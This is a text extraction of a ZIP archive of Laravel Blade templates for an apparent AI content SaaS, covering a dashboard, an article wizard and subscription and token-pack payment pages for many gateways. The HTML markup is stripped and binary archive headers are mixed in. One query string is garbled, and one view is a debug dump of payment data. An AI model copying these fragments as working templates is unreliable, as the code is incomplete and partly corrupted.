    @foreach ($favoriteOpenAis ?? [] as $entry) @php $upgrade = false; if ($entry->premium == 1 && $plan_type === 'regular') { $upgrade = true; } if ($upgrade) { $href = LaravelLocalization::localizeUrl(route('dashboard.user.payment.subscription')); } elseif (isset($entry->slug) && in_array($entry->slug, ['ai_vision', 'ai_ai_chat_image', 'ai_code_generator', 'ai_youtube', 'ai_pdf'])) { $href = LaravelLocalization::localizeUrl(route('dashboard.user.openai.generator.workbook', $entry->slug)); } else { $href = LaravelLocalization::localizeUrl(route('dashboard.user.openai.generator', $entry->slug)); } @endphp @if ($upgrade || $entry->active == 1) @else

    @endif @if ($entry->image !== 'none') {!! html_entity_decode($entry->image) !!} @endif {{ __($entry->title) }}

    {{ str()->words(__($entry->description)) }}
    @if ($upgrade) {{ __('Upgrade') }} @endif @if ($upgrade || $entry->active == 1)
    @else

    @endif @if ($loop->iteration === 5) @break @endif @endforeach
    {{-- end: favorite templates --}} @includeFirst(['announcement::partials.dashboard', 'vendor.empty']) {{-- begin: submit ticket --}}

    @lang('Have a question?') @lang('We’re here to help you.')

    {{ __('Submit a Ticket') }}
    {{-- end: submit ticket --}}
    @endsection @push('script') @if ($app_is_not_demo) @includeFirst(['onboarding::include.introduction', 'panel.admin.onboarding.include.introduction', 'vendor.empty']) @includeFirst(['onboarding-pro::include.introduction', 'panel.admin.onboarding-pro.include.introduction', 'vendor.empty']) @endif @if (Route::has('dashboard.user.dash_notify_seen')) @endif @endpush PK˜W]ûÍŠ;ÅŠÅŠFdefault/panel/user/article_wizard/components/wizard_settings.blade.phpnu„[µü¤@php $steps = ['Topic', 'Title', 'Outline', 'Image']; $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; @endphp
    @foreach ($steps as $step) @endforeach
    @includeIf('panel.user.article_wizard.components.serper_seo_aw_keyword')
    {{ __('Advanced Options') }}
    {{-- search questions --}}
    Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', ]) variant="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid') }}" size="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md') }}" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" >

    1 {{ __('Select Keywords') }} 2 {{ __('Choose a Title') }} 3 {{ __('Outline') }} 4 {{ __('Image (optional)') }}

    {{ __('Add') }}
    {{ __('Cancel') }} {{ __('Add') }}
    PK˜W]ÖÔgqŸ Ÿ 2default/panel/user/article_wizard/wizard.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('AI Article Wizard')) @section('titlebar_actions', '') @section('titlebar_subtitle', __('Just choose your topic, and watch AI whip up SEO-optimized blog content in a matter of seconds!')) @section('titlebar_actions_before')
    {{ __('Start Over') }}
    @endsection @section('content')
    @include('panel.user.article_wizard.components.wizard_settings')
    @endsection @push('script') @endpush PK˜W]€ž•c<<4default/panel/user/finance/ongoingPayments.blade.phpnu„[µü¤hello ongoingPayments

    {{ dd($ongoingPayments) }} PK˜W]"Úéíí.default/panel/user/finance/succesful.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')

    {{ __('Payment Succesful') }}

    {{ __('Thanks for your purchase! Now, you can explore our AI tools and start generating content in seconds.') }}

    {{ __('Generate New Content') }}
    @endsection PK˜W]à1¯ß¯¯6default/panel/user/finance/subscriptionPlans.blade.phpnu„[µü¤@php $team = Auth::user()->getAttribute('team'); $teamManager = Auth::user()->getAttribute('teamManager'); $titlebar_links = []; $filters = []; if ($plansSubscriptionMonthly->count() > 0) { $titlebar_links[] = [ 'label' => 'Monthly', 'link' => '#monthly', ]; $filters[] = 'Monthly'; } if ($plansSubscriptionAnnual->count() > 0) { $titlebar_links[] = [ 'label' => 'Yearly', 'link' => '#yearly', ]; $filters[] = 'Yearly'; } if ($prepaidplans->count() > 0) { $titlebar_links[] = [ 'label' => 'Pre-Paid', 'link' => '#pre-paid', ]; $filters[] = 'Pre-Paid'; } if ($plansSubscriptionLifetime->count() > 0) { $titlebar_links[] = [ 'label' => 'Lifetime', 'link' => '#lifetime', ]; $filters[] = 'Lifetime'; } @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Plans and Pricing')) @section('titlebar_actions', '') @inject('paymentControls', 'App\Http\Controllers\Finance\PaymentProcessController') @inject('gatewayControls', 'App\Http\Controllers\Finance\GatewayController') @section('content')

    @lang('Here is your plan summary:')

    @if ($getCurrentActiveSubscription = \App\Helpers\Classes\Helper::getCurrentActiveSubscription()) {{ __('Cancel My Plan') }} @endif {{ __('Upgrade Your plan') }}

    @lang('Active Plan') @if (Auth::user()->activePlan() != null) {{ getSubscriptionName() }} @else @lang('None') @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}}

    @lang('Renewal Date') @if (Auth::user()->activePlan() != null) {{ getSubscriptionDaysLeft() }} @lang('Days') @else @lang('None') @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}}

    @lang('Team Plan') @if ($team && $team?->allow_seats > 0) @lang('Active') @else @lang('Not Active') @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}}

    {{ __('Select a Plan') }}:

    @lang('Please select a subscription plan or a token pack to upgrade your current plan.')

      @foreach ($filters as $filter)
    • @endforeach
    @if ($plansSubscriptionMonthly->count() > 0)
    @foreach ($plansSubscriptionMonthly as $plan)
    $plan->is_featured, ])>
    {!! displayPlanPrice($plan, $currency) !!}
    {{ __(formatCamelCase($plan->frequency)) }} @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif

    {{ __($plan->name) }}

    @if ($activesubid == $plan->id)
    {{ __('Already Subscribed') }} {{ __('Cancel Subscription') }}
    @elseif($activesubid != null)
    {{ __('You have an active subscription.') }}
    @else
    @if ($is_active_gateway == 1) @php($planid = $plan->id) @if ($plan->price == 0) {{ __('Choose plan') }} @elseif($lastPrivateDate) {{ __('Expired') }} @elseif($maxSubscribe) {{ __('Limit reached') }} @else @if (count($activeGateways) == 1 || setting('single_page_checkout', 0)) @php($gateway = $activeGateways->first()) @php($data = $gatewayControls->gatewayData($gateway->code)) {{ __('Choose plan') }} @else {{ __('Choose plan') }}
    @foreach ($activeGateways as $gateway) @if ($gateway->code == 'revenuecat') @continue @endif @php($planid = $plan->id) @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif {{ $data['title'] }}
    @endforeach
    @endif @endif @else

    {{ __('Please enable a payment gateway') }}

    @endif
    @endif
    @endforeach
    @endif @if ($prepaidplans->count() > 0) @endif @if ($plansSubscriptionLifetime->count() > 0)
    @foreach ($plansSubscriptionLifetime as $plan)
    $plan->is_featured, ])>
    {!! displayPlanPrice($plan, $currency) !!}
    {{ __(formatCamelCase($plan->frequency)) }} @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif

    {{ __($plan->name) }}

    @if ($activesubid == $plan->id)
    {{ __('Already Subscribed') }} {{ __('Cancel Subscription') }}
    @elseif($activesubid != null)
    {{ __('You have an active subscription.') }}
    @else
    @if ($is_active_gateway == 1) @php($planid = $plan->id) @if ($plan->price == 0) {{ __('Choose plan') }} @elseif($lastPrivateDate) {{ __('Expired') }} @elseif($maxSubscribe) {{ __('Limit reached') }} @else @if (count($activeGateways) == 1 || setting('single_page_checkout', 0)) @php($gateway = $activeGateways->first()) @php($data = $gatewayControls->gatewayData($gateway->code)) {{ __('Choose plan') }} @else {{ __('Choose plan') }}
    @foreach ($activeGateways as $gateway) @if ($gateway->code == 'revenuecat') @continue @endif @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif {{ $data['title'] }}
    @endforeach
    @endif @endif @else

    {{ __('Please enable a payment gateway') }}

    @endif
    @endif
    @endforeach
    @endif @if ($plansSubscriptionAnnual->count() > 0)
    @foreach ($plansSubscriptionAnnual as $plan)
    $plan->is_featured, ])>
    {!! displayPlanPrice($plan, $currency) !!}
    {{ __(formatCamelCase($plan->frequency)) }} @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif

    {{ __($plan->name) }}

    @if ($activesubid == $plan->id)
    {{ __('Already Subscribed') }} {{ __('Cancel Subscription') }}
    @elseif($activesubid != null)
    {{ __('You have an active subscription.') }}
    @else
    @if ($is_active_gateway == 1) @php($planid = $plan->id) @if ($plan->price == 0) {{ __('Choose plan') }} @elseif($lastPrivateDate) {{ __('Expired') }} @elseif($maxSubscribe) {{ __('Limit reached') }} @else @if (count($activeGateways) == 1 || setting('single_page_checkout', 0)) @php($gateway = $activeGateways->first()) @php($data = $gatewayControls->gatewayData($gateway->code)) {{ __('Choose plan') }} @else {{ __('Choose plan') }}
    @foreach ($activeGateways as $gateway) @if ($gateway->code == 'revenuecat') @continue @endif @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif {{ $data['title'] }}
    @endforeach
    @endif @endif @else

    {{ __('Please enable a payment gateway') }}

    @endif
    @endif
    @endforeach
    @endif
    @endsection @push('script') @endpush PK˜W]wqj@%%7default/panel/user/finance/subscriptionStatus.blade.phpnu„[µü¤@php use App\Domains\Entity\EntityStats; $wordModels = EntityStats::word(); $imageModels = EntityStats::image(); $team = auth()->user()->getAttribute('team'); $teamManager = auth()->user()->getAttribute('teamManager'); @endphp @if ($team && $team?->allow_seats > 0)

    {{ __('Active Workspace:') }}

    {{ $teamManager?->name . ' ' . $teamManager?->surname }} @lang('Team Manager')

    @lang("You have the Team plan which has a remaining balance of :word words and :image images. You can contact your team manager if you need more credits.", ['word' => $wordModels->totalCredits(), 'image' => $imageModels->totalCredits()])

    @formatNumberShort($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) @if (!$wordModels->checkIfThereUnlimited()) @endif {{ __('Words') }}

    @else

    @lang('Your Plan')

    @if (auth()->user()->activePlan() !== null) {{ __('You have currently') }} {{ getSubscriptionName() }} {{ __('plan.') }} {{ __('Will refill automatically in') }} {{ getSubscriptionDaysLeft() }} {{ __('Days.') }} {{ checkIfTrial() === true ? __('You are in Trial time.') : '' }} @else {{ __('You have no subscription at the moment. Please select a subscription plan or a token pack.') }} @endif @if ($setting->feature_ai_image) {{ __('Total') }} @formatNumber($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) {{ __('word and') }} @formatNumber($imageModels->checkIfThereUnlimited() ? __('Unlimited') : $imageModels->totalCredits()) {{ __('image tokens left.') }} @else {{ __('Total') }} @formatNumber($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) {{ __('tokens left.') }} @endif

    @formatNumberShort($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) @if (!$wordModels->checkIfThereUnlimited()) @endif {{ __('Words') }}

    {{ __('Select a Plan') }} @if (getSubscriptionStatus()) {{ __('Cancel My Plan') }} @endif
    @endif @push('script') @endpush PK˜W]èRS1default/panel/user/finance/coupon/index.blade.phpnu„[µü¤@includeWhen(setting('single_page_checkout', 0), 'panel.user.finance.partials.singlePageCheckout')
    {{ __('Have a coupon?') }}
    PK˜W]á !$››5default/panel/user/finance/prepaid/paystack.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @include('panel.user.finance.coupon.index')
    @csrf

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection @push('script') @if ($gateway->mode == 'live') @else @endif @endpush PK˜W]Ç”¡Da`a`3default/panel/user/finance/prepaid/stripe.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf {{-- --}}
    @if ($app_is_demo)
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }}
    @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- addressModal --}} @endsection @push('script') @endpush PK˜W]øòw” ” 6default/panel/user/finance/prepaid/2checkout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('content')
    @csrf
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial') }} {{ __('with') }} 2checkout @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price) !!} {{ __('with') }} 2checkout @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection PK˜W]{Ä”*á á 3default/panel/user/finance/prepaid/paddle.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __(' Token Packs ')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, tax_included: $plan->price_tax_included) !!} {{ __('with') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]Ò$Y¼``>default/panel/user/finance/prepaid/cryptomus-country.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    Selected Country

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @endsectionPK˜W]g½exq q 9default/panel/user/finance/prepaid/banktransfer.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    {!! $gateway->bank_account_other ?? 'To facilitate the processing of your transaction, kindly remit your payment directly to our designated bank account. Please ensure to include your Order ID Number as the payment reference to expedite the allocation of funds to your account. Note that services will not be credited until the payment has successfully been received in our bank account. We appreciate your cooperation and thank you for choosing our services.' !!}
    {!! $gateway->bank_account_details ?? "Bank Name:\nAccount Name:\nIBAN:\nBIC/Swift:\nRouting Number:\n" !!}
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} {{ __('Bank transfer') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]{q‚ÌÌ8default/panel/user/finance/prepaid/freeservice.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Free Token Pack')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    @if ($existingPrepaidOrder) {{ __('This pack alredy purchased') }} @else {{ __('Buy for free now') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @php $newDiscountedPrice = $plan->price; $taxRate = 0; $taxValue = 0; @endphp @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]¯êíòò3default/panel/user/finance/prepaid/paypal.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @php $clientId = $gateway->mode == 'live' ? $gateway->live_client_id : $gateway->sandbox_client_id; @endphp @endpush PK˜W]ÜnÚ´¥¥:default/panel/user/finance/prepaid/iyzico/result.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')

    {{ __('Payment Succesful') }}

    {{ __('Thanks for your purchase! Now, you can explore our AI tools and start generating content in seconds.') }}

    @if ($checkoutresult->getStatus() == 'success') @if ($checkoutresult->getPaymentStatus() == 'SUCCESS' || $checkoutresult->getPaymentStatus() == 'success')

    {{ __('Payment Success') }}

    {{ __('Payment ID') }}: {{ $checkoutresult->getPaymentId() }}

    {{ __('Please save payment ID') }}
    @else

    {{ __('Payment Failed') }}

    {{ __('Error Code') }}: {{ $checkoutresult->getErrorCode() }}

    {{ $checkoutresult->getErrorMessage() }}

    @endif @else

    {{ __('Error Code') }}: {{ $checkoutresult->getErrorCode() }}

    {{ $checkoutresult->getErrorMessage() }}

    @endif

    {{ __('Generate New Content') }}

    @endsection PK˜W]}@"uJ!J!7default/panel/user/finance/prepaid/iyzico/pre.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('Please enter your billing details') }}

    @csrf


    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]ä £ZZ7default/panel/user/finance/prepaid/iyzico/pay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @if ($checkoutform->getStatus() == 'success') {!! $checkoutform->getCheckoutFormContent() !!}
    @else

    {{ __('Error Code') }}: {{ $checkoutform->getErrorCode() }}

    {{ $checkoutform->getErrorMessage() }}

    {{ __('If error persist, please contact with us.') }}

    @endif

    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection PK˜W]‹©!5default/panel/user/finance/prepaid/razorpay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment for token packs ')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    {{-- @include('panel.user.finance.coupon.index')--}}
    @csrf
    {{ __('Pay now') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PK˜W]ÿ¤LÅÅ5default/panel/user/finance/prepaid/coingate.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{--
    --}} {{-- {{__('Order ID')}}: --}} {{-- {{$order_id}} --}} {{--
    --}}
    {{ __('Payment') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PK˜W]ÚMyÏ Ï 4default/panel/user/finance/prepaid/yokassa.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]Åq©:default/panel/user/finance/subscription/paystack.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @include('panel.user.finance.coupon.index')
    @csrf

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection @push('script') @endpush PK˜W]`ÃÒ³^³^8default/panel/user/finance/subscription/stripe.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf {{-- --}}
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial') }} {{ __('with') }} @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- addressModal --}} @endsection @push('script') @endpush PK˜W]jGí ™ ™ ;default/panel/user/finance/subscription/2checkout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('content')
    @csrf
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial') }} {{ __('with') }} 2checkout @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price) !!} {{ __('with') }} 2checkout @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection PK˜W]cðØÃ��8default/panel/user/finance/subscription/paddle.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, tax_included: $plan->price_tax_included) !!} {{ __('with') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{--
    --}} {{-- --}} {{-- @if ($plan->is_featured == 1)--}} {{--
    --}} {{-- --}} {{-- --}} {{-- --}} {{-- --}} {{--
    --}} {{-- @endif--}} {{--
    --}} {{--
    {{ __($plan->name) }}
    --}} {{--
    --}} {{--
    --}} {{-- {!! displayCurrPlan(currency()->symbol, $plan->price) !!}--}} {{-- / {{__(formatCamelCase($plan->frequency))}}--}} {{--
    --}} {{--
    --}} {{-- --}} {{--
    --}} {{-- {{ __('Change Plan') }}--}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}}
    @endsection @push('script') @endpush PK˜W]›Ö¦ˆmmCdefault/panel/user/finance/subscription/cryptomus-country.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    Selected Country

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @endsection PK˜W]›¿N¿�*�*>default/panel/user/finance/subscription/banktransfer.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    {!! $gateway->bank_account_other ?? 'To facilitate the processing of your transaction, kindly remit your payment directly to our designated bank account. Please ensure to include your Order ID Number as the payment reference to expedite the allocation of funds to your account. Note that services will not be credited until the payment has successfully been received in our bank account. We appreciate your cooperation and thank you for choosing our services.' !!}
    {!! $gateway->bank_account_details ?? "Bank Name:\nAccount Name:\nIBAN:\nBIC/Swift:\nRouting Number:\n" !!}
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial ') }} {{ __('with') }} {{ __('Bank transfer') }} @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} {{ __('Bank transfer') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]Ð*™‰jj=default/panel/user/finance/subscription/freeservice.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    {{ __('Subscribe for free now') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @php $newDiscountedPrice = $plan->price; $taxRate = 0; $taxValue = 0; @endphp @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]­N´(ïï8default/panel/user/finance/subscription/paypal.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @php $clientId = $gateway->mode == 'live' ? $gateway->live_client_id : $gateway->sandbox_client_id; $bilig = $billingPlanId == null ? '¤cy=' . currency()->code : '&vault=true&intent=subscription'; @endphp @endpush PK˜W]0žÙ½uu?default/panel/user/finance/subscription/iyzico/result.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')

    {{ __('Payment Succesful') }}

    {{ __('Thanks for your purchase! Now, you can explore our AI tools and start generating content in seconds.') }}

    @if ($checkoutresult->getStatus() == 'success') @if ($checkoutresult->getSubscriptionStatus() == 'ACTIVE' || $checkoutresult->getSubscriptionStatus() == 'active')

    {{ __('Subscription is ACTIVE') }}

    {{ __('Reference ID') }}:

    {{ $checkoutresult->getReferenceCode() }}

    {{ __('Please save reference ID') }}
    @else

    {{ __('Subscription status') }} : {{ $checkoutresult->getSubscriptionStatus() }}

    @endif @else

    {{ __('Error Code') }}: {{ $checkoutresult->getErrorCode() }}

    {{ $checkoutresult->getErrorMessage() }}

    @endif

    {{ __('Generate New Content') }}

    @endsection PK˜W]‰„™i™%™%<default/panel/user/finance/subscription/iyzico/pre.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @include('panel.user.finance.coupon.index')

    {{ __('Please enter your billing details') }}

    @csrf

    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection @push('script') @endpush PK˜W]_ãD…‚‚<default/panel/user/finance/subscription/iyzico/pay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @if ($checkoutform->getStatus() == 'success') {!! $checkoutform->getCheckoutFormContent() !!}
    @else

    {{ __('Error Code') }}: {{ $checkoutform->getErrorCode() }}

    {{ $checkoutform->getErrorMessage() }}

    {{ __('If error persist, please contact with us.') }}

    @endif

    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection PK˜W]™Ðj™ññ:default/panel/user/finance/subscription/razorpay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    {{-- @include('panel.user.finance.coupon.index') --}}
    @csrf
    {{ __('Subscribe') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PK˜W]ä…e/ÍÍ:default/panel/user/finance/subscription/coingate.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{--
    --}} {{-- {{__('Order ID')}}: --}} {{-- {{$order_id}} --}} {{--
    --}}
    {{ __('Subscribe') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PK˜W]èŸCœÜÜ9default/panel/user/finance/subscription/yokassa.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PK˜W]%Üø““ “ @default/panel/user/finance/partials/singlePageCheckout.blade.phpnu„[µü¤@inject('gatewayControls', 'App\Http\Controllers\Finance\GatewayController') @php $activeGateways = \App\Models\Gateways::where('is_active', 1)->get(); $type = strpos(Route::currentRouteName(), 'startPrepaidPaymentProcess') !== false ? 'startPrepaidPaymentProcess' : 'startSubscriptionProcess'; @endphp @if ($activeGateways->count() > 1)
    @foreach ($activeGateways as $gateway) @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif
    {{ $data['title'] }}
    @endforeach
    @endif PK˜W]…*”)  7default/panel/user/finance/partials/plan_card.blade.phpnu„[µü¤@php($newDiscountedPrice = $newDiscountedPrice ?? 0)
    $plan->is_featured, ])>

    @lang('Order Summary')

